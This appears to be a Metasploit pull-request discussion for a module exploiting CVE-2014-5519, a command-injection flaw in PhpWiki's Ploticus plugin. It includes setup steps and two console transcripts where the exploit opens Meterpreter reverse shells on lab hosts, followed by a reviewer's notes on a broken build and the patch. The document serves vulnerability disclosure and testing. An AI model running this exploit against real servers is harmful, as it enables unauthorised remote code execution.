Module for CVE-2014-5519, phpwiki/ploticus RCE

[us3r777]

Description

The Ploticus module in PhpWiki 1.5.0 allows remote attackers to execute arbitrary code via command injection. Discovery and POC done by Benjamin Harris.

Links

http://www.exploit-db.com/exploits/34451/
http://www.cvedetails.com/cve/CVE-2014-5519/
http://seclists.org/fulldisclosure/2014/Aug/77

Reproduction steps

• Install a LAMP server
• Install phpwiki ( http://sourceforge.net/projects/phpwiki/, the config file can be generated from here : http://phpwiki.fr/ )

Tests

2014-09-16 14:19:04 +0200 S:0 J:0> use exploit/multi/http/phpwiki_ploticus_exec 
2014-09-16 14:19:12 +0200 S:0 J:0 exploit(phpwiki_ploticus_exec) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
2014-09-16 14:19:18 +0200 S:0 J:0 exploit(phpwiki_ploticus_exec) > run

[*] Started reverse handler on 192.168.56.1:4444 
[*] 192.168.56.101:80 - Executing payload gpPdLWOs.php
[*] Sending stage (40551 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:55045) at 2014-09-16 14:19:23 +0200

meterpreter > getuid
Server username: www-data (33)

[wchen-r7]

For Exploit-DB, you can use EDB instead of URL.

See all the identifiers you can use:
https://github.com/rapid7/metasploit-framework/wiki/Metasploit-module-reference-identifiers

[wchen-r7]

I am having trouble setting up this app. I keep getting this:

Call to undefined method WikiDB_backend_dba::WikiDB_backend_dbaBase() in /var/www/html/phpwiki-1.5.0/lib/WikiDB/backend/dba.php on line 35

I find no function WikiDB_backend_dbaBase. Looks like a broken build?

[wchen-r7]

Never mind. I figured it out. It is indeed a broken build. Looks like it's meant to call the parent method.

[wchen-r7]

Filed a ticket for the bug I hit:
https://sourceforge.net/p/phpwiki/bugs/647/

[wchen-r7]

It looks like 1.5.0 is patched. I haven't really looked into the actual fix, but the exploit will trigger errors complaining about accessing protected methods... I am guessing that is the "patch".

[wchen-r7]

The actual fix might be this:
https://sourceforge.net/p/phpwiki/code/8974/?page=1

[wchen-r7]

Exploit verified:

msf exploit(phpwiki_ploticus_exec) > rerun
[*] Reloading module...

[*] Started reverse handler on 192.168.1.64:4444 
[*] 192.168.1.114:80 - Executing payload fyjxncEV.php
[*] Sending stage (40551 bytes) to 192.168.1.114
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.114:40402) at 2014-09-16 12:42:55 -0500

meterpreter >

[wchen-r7]

Landing the PR in a bit. Made minor edits to msftidy and added two more references for bug tracking purposes.